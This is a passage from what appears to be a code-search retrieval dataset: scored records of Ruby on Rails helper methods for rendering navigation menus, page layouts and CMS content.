"text": "def render_primary_navigation(options = {})\n ActiveSupport::Deprecation.warn(\"SimpleNavigation::Helpers.render_primary_navigation has been deprecated. Please use render_navigation(:level => 1) instead\")\n render_navigation(options.merge(:level => 1))\n end",
"title": ""
},
{
"docid": "9e2dab82678c4db0cf7554c55ba76953",
"score": "0.6221235",
"text": "def render_navigation(options = {}, &block)\n container = active_navigation_item_container(options, &block)\n container && container.render(options)\n end",
"title": ""
},
{
"docid": "f36c31d39b5f2d6950f9fe6fb254234f",
"score": "0.59254193",
"text": "def primary_navigation\n config.primary_navigation\n end",
"title": ""
},
{
"docid": "f36c31d39b5f2d6950f9fe6fb254234f",
"score": "0.5924152",
"text": "def primary_navigation\n config.primary_navigation\n end",
"title": ""
},
{
"docid": "00d7cb9f0ce3b5f9b4f17c7f53f1a8ee",
"score": "0.5687796",
"text": "def render(current_navigation, include_sub_navigation=false, current_sub_navigation=nil)\n self.renderer.new(current_navigation, current_sub_navigation).render(self, include_sub_navigation)\n end",
"title": ""
},
{
"docid": "ba7540edb6f668354f5377c779df9436",
"score": "0.5683619",
"text": "def render\n Argyle.activate\n\n @renderer.render(current_page)\n end",
"title": ""
},
{
"docid": "389cf67d23b2d5e8ee20f3d46972facd",
"score": "0.55965036",
"text": "def render_sub_navigation(options = {})\n ActiveSupport::Deprecation.warn(\"SimpleNavigation::Helpers.render_primary_navigation has been deprecated. Please use render_navigation(:level => 2) instead\")\n render_navigation(options.merge(:level => 2))\n end",
"title": ""
},
{
"docid": "2779ba41502bf3e6961ab993a8d35637",
"score": "0.55514896",
"text": "def render_sub_navigation(options = {})\n render_navigation(options.merge(:level => :secondary))\n end",
"title": ""
},
{
"docid": "baee396382936fcf3a62fe0237dd73ad",
"score": "0.550292",
"text": "def render_page\n load_shared_pages\n set_meta_data\n set_page_types_ivars\n add_page_breadcrumbs\n render_page_template\n end",
"title": ""
},
{
"docid": "a78d6d549e349dd51b69143ebec9648e",
"score": "0.5483089",
"text": "def render_result(renderer, stub_name = false)\n prepare_navigation_instance(renderer)\n main_menu = build_main_menu(stub_name).render(expand_all: true)\n html_document(main_menu)\n end",
"title": ""
},
{
"docid": "0ba9562db577d95751fde238d1e7611d",
"score": "0.5392496",
"text": "def render_main_menu\n html = \"\".html_safe\n home_page = Page.root\n if home_page\n html << \"<li><a href=\\\"/\\\" class=\\\"#{m_active_class(home_page)}\\\"><span>Home</span></a></li>\".html_safe\n if current_user\n tree = home_page.menu_children.where(:show_on_menu => true).order(:position)\n else\n tree = home_page.public_children.order(:position)\n end\n tree.each do |branch|\n html << \"<li>#{link_to(content_tag(:span, branch.title_for_menu).html_safe, branch.url_alias, :class => m_active_class(branch))}\".html_safe\n if branch.show_menu_expanded\n leaves = current_user ? branch.menu_children.where(:show_on_menu => true).order(:position) : branch.public_children.order(:position)\n if leaves.present?\n html << \"<ul class=\\\"subnav\\\">\".html_safe\n leaves.each do |leaf|\n html << content_tag(:li, link_to(content_tag(:span, leaf.title_for_menu).html_safe, leaf.url_alias, :class => m_active_class(leaf)).html_safe).html_safe\n end\n html << \"</ul>\".html_safe\n end\n end\n html << \"</li>\".html_safe\n end\n end\n html\n end",
"title": ""
},
{
"docid": "824dec5a9a96db3a6c6e8e67457c8a59",
"score": "0.5288626",
"text": "def menu_primary\n Lynr::View::Menu.new('Menu', @back_uri, nil, 'icon-back')\n end",
"title": ""
},
{
"docid": "fbd2fd3a5025cccb6caf08a6c180e27e",
"score": "0.52862483",
"text": "def global_navigation(title, *args, &block)\n # Creates an active navigation_item_container much like render_navigation does from\n # https://github.com/codeplant/simple-navigation/blob/master/lib/simple_navigation/helpers.rb\n self.global_nav_options = args.extract_options!\n self.global_nav_title = title\n self.global_nav_container = self.context.active_navigation_item_container(options, &block)\n self.navigation_renderer = SimpleNavigation::Renderer::Base.new(options)\n end",
"title": ""
},
{
"docid": "9ff6564fadcc41fbdb54b7445e5afd5f",
"score": "0.52534145",
"text": "def items(&block)\n @primary_navigation = ItemContainer.new\n block.call @primary_navigation\n end",
"title": ""
},
{
"docid": "128737e635ac8a2a9b5d5c2a2846f9ab",
"score": "0.5234511",
"text": "def primary_navigation_class(identifier)\n navigation_section == identifier ? 'current' : nil\n end",
"title": ""
},
{
"docid": "bad7016e09c282839d227b3d57d2fca6",
"score": "0.52245253",
"text": "def navigation(options = {}, &block)\n buffers[:block_header] << @parent.manageable_secondary_navigation(options, &block)\n ''\n end",
"title": ""
},
{
"docid": "96be19a048f248a48993ada3d7ed9bc2",
"score": "0.5198524",
"text": "def menu_primary\n Lynr::View::Menu.new('Menu', \"/menu/#{@dealership.slug}\", :menu_admin) unless @dealership.nil?\n end",
"title": ""
},
{
"docid": "c84ec7c3ba23ab5b3576b031f7ed0ee0",
"score": "0.51526505",
"text": "def master_render_cms\n get_master_context\n find_and_render_page\n end",
"title": ""
},
{
"docid": "982881aeff653ce16f186a207e0ebdcc",
"score": "0.5146423",
"text": "def navigation(options={})\n options = {\n :root => nil,\n :current => @page,\n :class => 'nav', \n :id => '',\n :include_root => false,\n :link_current => false,\n :depth => 2\n }.with_indifferent_access.merge(options)\n\n current_user = nil unless defined?(current_user)\n \n if options[:root].is_a?(NilClass)\n root_page = Page.published_or_hidden.viewable_by(current_user).root_only.first\n elsif options[:root].is_a?(Page)\n root_page = options[:root]\n elsif options[:root].is_a?(String)\n root_page = Page.published_or_hidden.viewable_by(current_user).where('pages.url = :root or pages.permalink = :root', :root => options[:root]).first\n elsif options[:root].is_a?(Hash)\n options[:root].stringify_keys!\n root_page = Page.published_or_hidden.viewable_by(current_user).where(:controller => options[:root][:controller], :action => options[:root][:action]).first\n else\n return \"<p><em>Error:</em> Root must be a page, a permalink, a url or a hash containing the controller and action, got: #{root.class.to_s}.</p>\".html_safe\n end\n \n return \"<p><em>Error:</em> Root page not found: #{options[:root]}</p>\".html_safe unless root_page\n\n grouped_pages = root_page.self_and_descendants.viewable_by(current_user).shown_in_menu.published.for_nav.group_by(&:parent_id)\n\n render 'pages/navigation', :options => options, :root_page => root_page, :grouped_pages => grouped_pages, :level => 1\n end",
"title": ""
},
{
"docid": "5fcf0eafe7d0b00fcf2f6d577705b69e",
"score": "0.50590634",
"text": "def simple_navigation(name, options = {})\n\n # Load navigation hash\n navigation = SimpleNavigation::Builder.navigation[name.to_sym]\n\n # Reset current menu\n self.current_menu_id = nil\n\n settings = {\n :id => navigation[:id],\n :class => options[:class] || 'simple_navigation',\n }\n\n self.custom_titles = options[:custom_titles] || {}\n\n # Set CSS class that user may added\n if navigation.has_key?(:options) && navigation[:options].has_key?(:class)\n settings[:class] << \" #{navigation[:options][:class]}\"\n end\n\n # Render root menus\n if navigation.has_key?(:menus) && !navigation[:menus].empty?\n menus = navigation[:menus].enum_with_index.collect do |item, index|\n item_options = { :class => item[:options][:class].clone || '' }\n item_options[:class] << ' first' if index == 0\n item_options[:class] << ' last' if index == navigation[:menus].size - 1\n render_menu(item, item_options)\n end\n end\n\n content_tag(:ul, menus || '', settings)\n\n end",
"title": ""
},
{
"docid": "8660c20ee5a54ef18117073590a95f45",
"score": "0.5043497",
"text": "def renderer\n Asciidoctor.debug \"Section#renderer: Looking for my renderer up in #{@parent}\"\n @parent.renderer\n end",
"title": ""
},
{
"docid": "bd633edb7eef31dcae165909d7f277e7",
"score": "0.50384295",
"text": "def goldberg_main_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, :locals => {:level => 0, :depth => 0, :class_attr => nil}\n end",
"title": ""
},
{
"docid": "91b49950955e3dd6131b81a7ddb19ba3",
"score": "0.5036803",
"text": "def render_result(renderer, menu_name, stub_name, opts = {})\n menu_opts = opts.merge(expand_all: true)\n prepare_navigation_instance(renderer)\n main_menu = build_main_menu(menu_name, stub_name).render(menu_opts)\n html_document(main_menu)\n end",
"title": ""
},
{
"docid": "9ed542e05efcf9221f00cd216711c4e0",
"score": "0.5031864",
"text": "def render_main_menu(project)\n render_menu((project && !project.new_record?) ? :project_menu : :application_menu, project)\n end",
"title": ""
},
{
"docid": "3bb90583bc75ff6c144eccd4f6ce5be6",
"score": "0.50199735",
"text": "def set_primary_heading(primary_heading)\n @primary_heading = primary_heading\n end",
"title": ""
},
{
"docid": "9caf900d3ce53ecc37b7b706dc6bb396",
"score": "0.49042088",
"text": "def render_sort_nav\n if @islay_sort_nav and !@islay_sort_nav.empty?\n if !@islay_sort_nav[:current] and @islay_sort_nav[:default]\n @islay_sort_nav[:default] << true\n end\n\n render(\n :partial => 'islay/admin/shared/sort_nav',\n :locals => {:entries => @islay_sort_nav[:entries]}\n )\n end\n end",
"title": ""
},
{
"docid": "d5f69ac16bd1753e7f8b8c522bf0719d",
"score": "0.48856854",
"text": "def render(renderer=nil)\n renderer ||= Ariane.default_renderer\n renderer = renderer.new if renderer.is_a?(Class)\n renderer.render(crumbs)\n end",
"title": ""
},
{
"docid": "1f08ec0906aae88c8a2598c77e98b03f",
"score": "0.4877195",
"text": "def render_navigation(template, options)\n breadcrumbs = model.ancestors << model\n if options[:start]\n subtree_root = breadcrumbs.find {|node| node.depth == options[:start] - 1}\n else\n subtree_root = options[:node] || Page.root\n end\n navigation = subtree_root.sorted_subtree(options[:depth])\n navigation = navigation.find_all{|page| page.depth >= options[:start]} if options[:start]\n \n helpers.render \"templates/pages/#{template}\", navigation: navigation, breadcrumbs: breadcrumbs, root: subtree_root\n end",
"title": ""
},
{
"docid": "7806671d63f2d6eb9b52bb2436bee6cf",
"score": "0.48694357",
"text": "def build_primary_links_menu(menu, request_path, locale, default_locale, multilanguage_site)\n\n start_menu = \"<ul class=\\\"nav navbar-nav sf-menu clearfix\\\">\"\n start_submenu = \"<li class=\\\"sub-menu sub-menu-1\\\"><a href=\\\"#\\\" title=\\\"<%=branch[:description]%>\\\"><%=branch[:title]%><em></em></a><ul>\"\n menu_item = \"<li id=\\\"menu_item_<%=leaf[:id]%>\\\"><a href=\\\"<%=leaf[:link_route]%>\\\"><%=leaf[:title]%></a></li>\"\n selected_menu_item = \"<li id=\\\"menu_item_<%=leaf[:id]%>\\\" class=\\\"active\\\"><a href=\\\"<%=leaf[:link_route]%>\\\"><%=leaf[:title]%></a></li>\"\n end_submenu = \"</ul></li>\"\n end_menu = \"</ul>\"\n separator = \"\"\n extra_end_menu = \"\"\n\n menu_adapter = Adapters::MenuAdapter.new(menu, locale, default_locale, multilanguage_site)\n\n renderer = TreeRender.new(start_menu, start_submenu, menu_item, end_submenu, end_menu, separator,\n extra_end_menu, selected_menu_item, request_path)\n renderer.render(menu_adapter.adapted_menu)\n\n end",
"title": ""
},
{
"docid": "6c174a6978eac2e58bc21c7bc5591b71",
"score": "0.4868424",
"text": "def render\n Asciidoctor.debug \"Now attempting to render for #{context} my own bad #{self}\"\n Asciidoctor.debug \"Parent is #{@parent}\"\n Asciidoctor.debug \"Renderer is #{renderer}\"\n renderer.render(\"section_#{context}\", self)\n end",
"title": ""
},
{
"docid": "d3a8618456b28167edaafc3357840ad4",
"score": "0.48548055",
"text": "def renderer\n @parent.renderer\n end",
"title": ""
},
{
"docid": "d3a8618456b28167edaafc3357840ad4",
"score": "0.48548055",
"text": "def renderer\n @parent.renderer\n end",
"title": ""
},
{
"docid": "4d2e722ba07aa4655b80c3a144c07d67",
"score": "0.48525995",
"text": "def default_render(*args)\n if matestack_page_class = default_render_matestack_page_class\n render matestack: matestack_page_class\n else\n super\n end\n end",
"title": ""
},
{
"docid": "4d27ad17f276af0214008424b6e85164",
"score": "0.48523495",
"text": "def add_primary_menu_item(**args)\n @menu_builder.add_primary_menu_item(**args)\n end",
"title": ""
},
{
"docid": "662f714fa2dc43163dd9aebb3d52d24f",
"score": "0.4840508",
"text": "def admin_subnavigation\n if current_alchemy_module.present?\n render(\n 'alchemy/admin/partials/sub_navigation',\n entries: current_sub_navigation\n )\n end\n end",
"title": ""
},
{
"docid": "e2436e6b380dab7bd12cb3277f669bd7",
"score": "0.48364282",
"text": "def items(items_provider=nil, &block)\n raise 'please specify either items_provider or block, but not both' if (items_provider && block) || (items_provider.nil? && block.nil?)\n @primary_navigation = ItemContainer.new\n if block\n block.call @primary_navigation\n else\n @primary_navigation.items = SimpleNavigation::ItemsProvider.new(items_provider).items\n end\n end",
"title": ""
},
{
"docid": "bccecefab5dc90254e4e48dcc59f3d3c",
"score": "0.4826163",
"text": "def initialize\n @renderer = SimpleNavigation.default_renderer || SimpleNavigation::Renderer::List\n @selected_class = 'selected'\n @autogenerate_item_ids = true\n @id_generator = Proc.new {|id| id.to_s }\n @auto_highlight = true\n end",
"title": ""
},
{
"docid": "5c5a68391567679aa74895e35a30034a",
"score": "0.47994596",
"text": "def render\n Asciidoctor.debug \"Now rendering section for #{self}\"\n renderer.render('section', self)\n end",
"title": ""
},
{
"docid": "587dc76ecc59f5749035ba98dc62f10c",
"score": "0.4794768",
"text": "def on_render( &block )\n @renderer = block\n end",
"title": ""
},
{
"docid": "5c1ac90950ad15573f2ae0dc2e8aa544",
"score": "0.4781883",
"text": "def renderer\n # wouldn't @parent.renderer work here? I believe so\n document.renderer\n end",
"title": ""
},
{
"docid": "496fddf4511001a552383d379320c1c2",
"score": "0.4766899",
"text": "def main_controller\n has_navigation? ? navigation_controller : self\n end",
"title": ""
},
{
"docid": "f5d105e790a3c9579bd315ece980aece",
"score": "0.47511858",
"text": "def goldberg_left_menu\n render :file => \"#{RAILS_ROOT}/vendor/plugins/goldberg/app/views/goldberg/menu_items/_menubar.rhtml\", :use_full_path => false, \n :locals => {:level => 1, :depth => (Goldberg.settings.menu_depth - 2),\n :class_attr => 'sidemenu'}\n end",
"title": ""
},
{
"docid": "375907dbbe90f96facb8a2fc279e9d49",
"score": "0.47506064",
"text": "def renderHederNavIfLoggedIn\n header_nav if session[:user_id] \n end",
"title": ""
},
{
"docid": "5ab3483491254bcc3c323d6295fc1b12",
"score": "0.4746907",
"text": "def initialize\n @renderer = SimpleNavigation::Renderer::List\n @selected_class = 'selected'\n @render_all_levels = false\n @autogenerate_item_ids = true\n @auto_highlight = true\n end",
"title": ""
},
{
"docid": "952f7cf08abec812ab277187676c66d7",
"score": "0.47371918",
"text": "def render page = self, content = nil\n content = subrender page, content\n\n layout = self.layout # TODO: make nullpage to avoid 'if layout' tests\n content = layout.render page, content if layout\n\n content\n end",
"title": ""
},
{
"docid": "952f7cf08abec812ab277187676c66d7",
"score": "0.47371918",
"text": "def render page = self, content = nil\n content = subrender page, content\n\n layout = self.layout # TODO: make nullpage to avoid 'if layout' tests\n content = layout.render page, content if layout\n\n content\n end",
"title": ""
},
{
"docid": "21101322ee783856c8a2c6d7fe2c9605",
"score": "0.47358662",
"text": "def render_clf_main_menu(project, options = {})\n # Default options\n options = {\n :ul_class => 'nav',\n :li_class => 'menucontent',\n :menulink_class => 'menulink',\n :title => :clf2_text_main_menu\n }.merge(options)\n\n render_clf_menu((project && !project.new_record?) ? :project_menu : :application_menu, project, options)\n end",
"title": ""
},
{
"docid": "afbcba3277664a29381508e17f16ba91",
"score": "0.47343427",
"text": "def default_render\n @default_response.call\n end",
"title": ""
},
{
"docid": "fc742af3cfd679691fe13060e8a3955f",
"score": "0.47210544",
"text": "def main\n main_menu(SHOW_HEADER)\n end",
"title": ""
},
{
"docid": "8b8774c9fb7067ef0fae84ad7824f2ea",
"score": "0.47160187",
"text": "def render\n render_children\n end",
"title": ""
},
{
"docid": "22c472ae5d5a31bed583ea90e2c1c582",
"score": "0.47099826",
"text": "def render\n \n start_menu = \"<ul id=\\\"menu_<%=root[:id]%>\\\" class=\\\"menu #{menu.render_css_class}\\\">\"\n start_submenu = \"<li class=\\\"menuitem\\\"><a href=\\\"<%=branch[:link_route]%>\\\" title=\\\"branch[:description]\\\"><%=branch[:title]%></a><ul class=\\\"submenu submenu-level<%=branch[:level]%>\\\">\"\n menu_item = \"<li id=\\\"menu_item_<%=leaf[:id]%>\\\" class=\\\"menuitem\\\"><a href=\\\"<%=leaf[:link_route]%>\\\"><%=leaf[:title]%></a></li>\"\n end_submenu = \"</ul></li>\"\n end_menu = \"</ul>\" \n separator = if menu.render_item_separator.nil? or menu.render_item_separator.empty?\n \"<span class=\\\"menuitem_separator\\\"> · </span>\"\n else\n \"<span class=\\\"menuitem_separator\\\"> #{menu.render_item_separator} </span>\"\n end\n \n menu = {:id => @menu.name,\n :title => @menu.title,\n :children => adapt_children(@menu.root_menu_items.sort{|x,y| y.weight<=>x.weight})}\n \n renderer = TreeRender.new(start_menu, start_submenu, menu_item, end_submenu, end_menu, separator) \n renderer.render(menu)\n \n end",
"title": ""
},
{
"docid": "fba2ef76eecd3bdaa3a986f0e1d74d97",
"score": "0.47085917",
"text": "def with_primary_colour(primary_colour)\n @primary_colour = primary_colour\n self\n end",
"title": ""
},
{
"docid": "cae378f33ff7563baa1480398a91c84c",
"score": "0.47078577",
"text": "def build_primary_links_menu(menu, request_path, locale, default_locale, multilanguage_site, shopping_cart)\n\n start_menu = \"<ul class=\\\"nav sf-menu\\\">\"\n start_submenu = \"<li class=\\\"\\\"><a href=\\\"<%=branch[:link_route]%>\\\" title=\\\"branch[:description]\\\" class=\\\"sf-with-ul\\\"><%=branch[:title]%></a><ul>\"\n menu_item = \"<li id=\\\"menu_item_<%=leaf[:id]%>\\\"><a href=\\\"<%=leaf[:link_route]%>\\\"><%=leaf[:title]%></a></li>\"\n selected_menu_item = \"<li id=\\\"menu_item_<%=leaf[:id]%>\\\" class=\\\"active\\\"><a href=\\\"<%=leaf[:link_route]%>\\\"><%=leaf[:title]%></a></li>\"\n end_submenu = \"</ul></li>\"\n end_menu = \"</ul>\"\n separator = \" \"\n extra_end_menu = \"<% if (page.variables.has_key?(:languages_translation) and not page.variables[:languages_translation].empty?) %><li><div class=\\\"translation_language\\\"> <%= page.variables[:languages_translation]%></div></li><% end %>\"\n if shopping_cart\n extra_end_menu << \"<% if (page.variables.has_key?(:shopping_cart) and not page.variables[:shopping_cart].empty?)%><li><div class=\\\"shopping_cart\\\"><%=page.variables[:shopping_cart]%></div></li><% end %>\"\n end\n\n menu_adapter = Adapters::MenuAdapter.new(menu, locale, default_locale, multilanguage_site)\n\n renderer = TreeRender.new(start_menu, start_submenu, menu_item, end_submenu, end_menu, separator,\n extra_end_menu, selected_menu_item, request_path)\n renderer.render(menu_adapter.adapted_menu)\n\n end",
"title": ""
},
{
"docid": "13b76427003c5799bf6330c9ccd45312",
"score": "0.47019172",
"text": "def primary_content(options = {}, &proc)\n @save_theme_context_primary_content = @theme_context\n @theme_context = @theme[:primary_content]\n defaults = {:class => @theme_context[:class]}\n html_class = options.delete(:class)\n options = defaults.merge(options).symbolize_keys\n last = !!options.delete(:last)\n \n options[:class] = \"#{options[:class]} #{html_class}\"\n options[:style] = \"padding-bottom:0px;#{options[:style]}\" if last\n \n # set default options\n concat tag(:div, options, true)\n yield\n concat probono_clear_class\n concat '</div>'\n concat( content_tag(:div, '', @theme_context[:bottom]) ) if last\n @theme_context = @save_theme_context_primary_content\n end",
"title": ""
},
{
"docid": "c8b0243972b8a6ebb22b23b90b60c29d",
"score": "0.47009853",
"text": "def render_nav(page)\n content = ''\n level = 0\n # 1. render ancestors\n page.ancestors.reverse.each do |a|\n content << render(:partial => 'pages/nav',\n :locals => { :parent => a.parent,\n :pages => a.self_and_siblings,\n :active => a,\n :level => level += 1 })\n end\n # 2. render sibling\n content << render(:partial => 'pages/nav',\n :locals => { :parent => page.parent,\n :pages => page.self_and_siblings,\n :active => page,\n :level => level += 1 })\n # 4. render children for existin records\n return content if page.new_record?\n return content if level >= pol_cfg.max_nav_level\n # do not display children nav for roots that are not the first root\n # to avoid this, explicitly add a child (via migration)\n # This allows sites on top level without children (typically 'contact',\n # 'disclaimer' ... )\n return content if level == 1 && Page.root != page && page.children.empty?\n content << render(:partial => 'pages/nav',\n :locals => { :parent => page, \n :pages => page.children, \n :active => nil,\n :level => level += 1 })\n end",
"title": ""
},
{
"docid": "50943cf3bccb30cbde829854f789d3f2",
"score": "0.46974748",
"text": "def render\n tree.render\n end",
"title": ""
},
{
"docid": "6897cfd0b7463d14a10d54152fd727f1",
"score": "0.46830148",
"text": "def render_page_layout\n render @page, page: @page\n rescue ActionView::MissingTemplate\n warning(\"PageLayout: '#{@page.page_layout}' not found. Rendering standard page_layout.\")\n render 'alchemy/page_layouts/standard', page: @page\n end",
"title": ""
},
{
"docid": "6897cfd0b7463d14a10d54152fd727f1",
"score": "0.46830148",
"text": "def render_page_layout\n render @page, page: @page\n rescue ActionView::MissingTemplate\n warning(\"PageLayout: '#{@page.page_layout}' not found. Rendering standard page_layout.\")\n render 'alchemy/page_layouts/standard', page: @page\n end",
"title": ""
},
{
"docid": "3492bd5fae231002b844918738c59d5f",
"score": "0.46815807",
"text": "def main_menu(options = {})\n return '' if (root = CmsPage.roots.first).nil?\n\n build_menu(root, nil, options)\n end",
"title": ""
},
{
"docid": "0360d9b03315f4007e68630eb73fc501",
"score": "0.46735418",
"text": "def render\n renderer.render('section', self)\n end",
"title": ""
},
{
"docid": "0f03a55e2673e346e813619c1dda3b3f",
"score": "0.46708778",
"text": "def render\n if not @item\n _p 'Not found'\n else\n\n _Header item: @item\n\n view = nil\n _main do\n React.createElement(@item.view, item: @item,\n ref: proc {|component| Main.view=component})\n end\n\n _Footer item: @item, buttons: @buttons, options: @options\n\n # emit hidden forms associated with the buttons displayed on this page\n if @buttons\n @buttons.each do |button|\n if button.form\n React.createElement(button.form, item: @item, server: Server,\n button: button)\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "02a36cf0f5f2f17717e45334c2206875",
"score": "0.46571425",
"text": "def firstLevelPageNavHTML(pageData, selectedPage)\n li = ''\n\n if (pageData.has_key?('childrens') && !pageData['childrens'].empty?)\n pageData['childrens'].each do |childrenKey, childrenData|\n li += '<li><a href=\"' + childrenData['alias'] +'\">' + childrenData['title'] + '</a></li>'\n end\n end\n\n return li\n end",
"title": ""
},
{
"docid": "bf0a1d5c5e2de618d2529c5c2d1cfe85",
"score": "0.46387908",
"text": "def active_navigation_item_container(options = {}, &block)\n options = SimpleNavigation::Helpers.apply_defaults(options)\n SimpleNavigation::Helpers.load_config(options, self, &block)\n SimpleNavigation.active_item_container_for(options[:level])\n end",
"title": ""
},
{
"docid": "dfbd845f28c1c529432a29ef87b430e3",
"score": "0.46380958",
"text": "def render(*args, &block)\n before_render\n super\n end",
"title": ""
},
{
"docid": "e6f11676e8f2ae75b45b0c0b7fa5d70e",
"score": "0.46373838",
"text": "def nav\n if DIV_WRAP\n tag(:div, :class => \"navigation\"){ navigation }\n else \n navigation\n end\n end",
"title": ""
},
{
"docid": "55deab843d79ed01df0935fb2a723edf",
"score": "0.46205622",
"text": "def cms_navigation\n nav = AdminController.cms_nav.map do |section|\n # First element is the title, second element is array of children.\n if section.is_a?(Array)\n render :partial => \"/admin/nav_section\",\n :locals => {:title => section[0], :children => section[1]}\n # Class should contain a partial override.\n elsif section.is_a?(Class)\n render_partial_for_controller(section)\n else\n raise RuntimeError, \"Unexpected CMS nav value: #{section}\"\n end\n end\n\n nav.compact.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "138b03ce444c8dce3920c9e78b328853",
"score": "0.46192998",
"text": "def default_renderer\n @default_renderer ||= Ariane::Render::HTMLList.new\n end",
"title": ""
},
{
"docid": "1ad18f5629ac5111c9074dfeca522043",
"score": "0.46131268",
"text": "def default_page\n #nested_erb :'rw_index.html', :'rw_layout.html', settings.layout\n respond_with :rw_index\n end",
"title": ""
},
{
"docid": "e1dad563b35fe7467e5b4ad3d92acaac",
"score": "0.4611067",
"text": "def set_navigation\n @navigation = Navigation.find(params[:id])\n end",
"title": ""
},
{
"docid": "e1dad563b35fe7467e5b4ad3d92acaac",
"score": "0.4611067",
"text": "def set_navigation\n @navigation = Navigation.find(params[:id])\n end",
"title": ""
},
{
"docid": "1b806d436adc08661a1e5af80cba8bb1",
"score": "0.46056467",
"text": "def contextual_navigation_tree(id, navigation, opts={})\n render_navigation_level(id, navigation, opts) do |node|\n if node.object\n link_to_unless_current node.value, catalog_path(node.object[:id])\n else\n link_to_unless_current node.value, catalog_path(node.children.first.object[:id])\n end\n end\n end",
"title": ""
},
{
"docid": "f029c7d41baf5ba4361a471d997134bb",
"score": "0.46000662",
"text": "def mainpage()\n merge(mainpage: 'true')\n end",
"title": ""
},
{
"docid": "72b7b18a8472444945ade5e64f34b564",
"score": "0.45940667",
"text": "def render\n if renderer.respond_to?(:render_tab)\n renderer.render_tab(self, get_or_call(name), get_or_call(options), tab_render_options)\n else\n renderer.render(get_or_call(name), get_or_call(options), tab_render_options)\n end\n end",
"title": ""
},
{
"docid": "aa898e8ed7b8707ea6bbd306616249ea",
"score": "0.45892528",
"text": "def menu\n render\n end",
"title": ""
},
{
"docid": "6ac6d2be300d283dbb1768d9a8dae972",
"score": "0.45764226",
"text": "def main()\n main_menu(SHOW_HEADER);\n end",
"title": ""
},
{
"docid": "ac757cc3535acc52cf114112dae8f699",
"score": "0.45754597",
"text": "def render\n render_posts # render posts first, so pages can use them\n render_pages\n end",
"title": ""
},
{
"docid": "14f94cfa9cc867c489c5e47c4b86c30b",
"score": "0.45728704",
"text": "def main_nav\n if @loggeduser\n render :partial=>'layouts/main_nav'\n end\n end",
"title": ""
},
{
"docid": "929217b6561d9c531d0e8ae9b617e359",
"score": "0.45690894",
"text": "def render_nav\n return if offset.blank?\n\n render(\n :partial => \"items/item_list_nav\",\n :locals => {\n :nav => nav,\n :item_list => list,\n :item_list_path => path\n }\n )\n end",
"title": ""
},
{
"docid": "b1a259dd74df2f606566b0532206f891",
"score": "0.45671237",
"text": "def core_index\n render :template => 'home/index', :layout => 'core'\n end",
"title": ""
},
{
"docid": "6e4ee66bf2863e75d3d8715ace001391",
"score": "0.45620906",
"text": "def page_layout(context={}, layout_name)\n\n # Apply the layout\n if layout_name == 'page_render' and SystemConfiguration::Variable.get_value('frontend.skin', nil) == 'tagency'\n\n home_page = SystemConfiguration::Variable.get_value('site.anonymous_front_page')\n\n is_home_page = (context[:app].request.path_info == home_page or context[:app].request.path_info == '/')\n\n # Builds the primary link menu\n primary_links_menu = Site::Menu.first(name: 'primary_links')\n primary_links_menu_render = self.build_primary_links_menu(primary_links_menu,\n context[:app].request.path_info,\n context[:app].session[:locale],\n context[:app].settings.default_locale,\n context[:app].settings.multilanguage_site)\n # Builds the secondary links menu\n secondary_links_menu = Site::Menu.first(name: 'secondary_links')\n secondary_links_menu_render = self.build_secondary_links_menu(secondary_links_menu,\n context[:app].request.path_info,\n context[:app].session[:locale],\n context[:app].settings.default_locale,\n context[:app].settings.multilanguage_site)\n\n theme_attributes = {'css_header_background' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.css.header_background','#fbfbfb'),\n 'site_company_name' => SystemConfiguration::Variable.get_value('site.company.name', '.'),\n 'site_company_document_id' => SystemConfiguration::Variable.get_value('site.company.document_id', '.'),\n 'site_company_phone_number' => SystemConfiguration::Variable.get_value('site.company.phone_number', '.'),\n 'site_company_email' => SystemConfiguration::Variable.get_value('site.company.email', '.'),\n 'site_company_address_1' => SystemConfiguration::Variable.get_value('site.company.address_1', '.'),\n 'site_company_address_2' => SystemConfiguration::Variable.get_value('site.company.address_2', '.'),\n 'site_company_city' => SystemConfiguration::Variable.get_value('site.company.city', '.'),\n 'site_company_state' => SystemConfiguration::Variable.get_value('site.company.state', '.'),\n 'site_company_country' => SystemConfiguration::Variable.get_value('site.company.country', '.'),\n 'site_company_zip' => SystemConfiguration::Variable.get_value('site.company.zip', '.'),\n 'site_company_facebook' => SystemConfiguration::Variable.get_value('site.company.facebook', '.'),\n 'site_company_twitter' => SystemConfiguration::Variable.get_value('site.company.twitter', '.'),\n 'site_company_linkedin' => SystemConfiguration::Variable.get_value('site.company.linkedin', '.'),\n 'site_company_instagram' => SystemConfiguration::Variable.get_value('site.company.instagram', '.'),\n 'year' => Date.today.year,\n 'primary_links_menu' => primary_links_menu_render,\n 'secondary_links_menu' => secondary_links_menu_render,\n 'home' => is_home_page\n }\n\n if is_home_page\n theme_attributes.merge!({\n 'slider1_img_bg' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider1_img_bg', nil),\n 'slider1_text_1' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider1_text_1', nil),\n 'slider1_text_2' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider1_text_2', nil),\n 'slider1_text_3' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider1_text_3', nil),\n 'slider2_img_bg' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider2_img_bg', nil),\n 'slider2_text_1' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider2_text_1', nil),\n 'slider2_text_2' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider2_text_2', nil),\n 'slider2_text_3' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider2_text_3', nil),\n 'slider3_img_bg' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider3_img_bg', nil),\n 'slider3_text_1' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider3_text_1', nil),\n 'slider3_text_2' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider3_text_2', nil),\n 'slider3_text_3' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider3_text_3', nil),\n 'slider4_img_bg' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider4_img_bg', nil),\n 'slider4_text_1' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider4_text_1', nil),\n 'slider4_text_2' => SystemConfiguration::Variable.get_value('frontend.skin.tagency.slider4_text_2', nil),\n 'slider4_text_3' => 